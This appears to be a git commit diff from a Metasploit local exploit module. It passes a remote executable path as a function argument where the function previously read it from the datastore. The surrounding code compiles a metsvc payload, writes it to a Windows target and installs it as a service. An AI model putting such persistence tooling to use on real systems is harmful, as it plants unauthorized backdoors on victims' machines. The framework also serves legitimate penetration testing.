Use argument
parent
dfa84aa1af
commit
a057b72bd9
|
@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
metsvc_code = metsvc_template(buf)
|
||||
bin = Metasploit::Framework::Compiler::Windows.compile_c(metsvc_code)
|
||||
|
||||
victim_path = write_exe_to_target(bin, rexename)
|
||||
victim_path = write_exe_to_target(bin, rexename, rexepath)
|
||||
install_service(victim_path)
|
||||
|
||||
clean_rc = log_file
|
||||
|
@ -107,10 +107,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# Function for writing executable to target host
|
||||
# Code from post/windows/manage/persistence_exe
|
||||
#
|
||||
def write_exe_to_target(rexe, rexename)
|
||||
def write_exe_to_target(rexe, rexename, rexepath)
|
||||
# check if we have write permission
|
||||
rexepath = datastore['REMOTE_EXE_PATH']
|
||||
|
||||
if rexepath
|
||||
begin
|
||||
temprexe = rexepath + "\\" + rexename
|
||||
|
|
Loading…
Reference in New Issue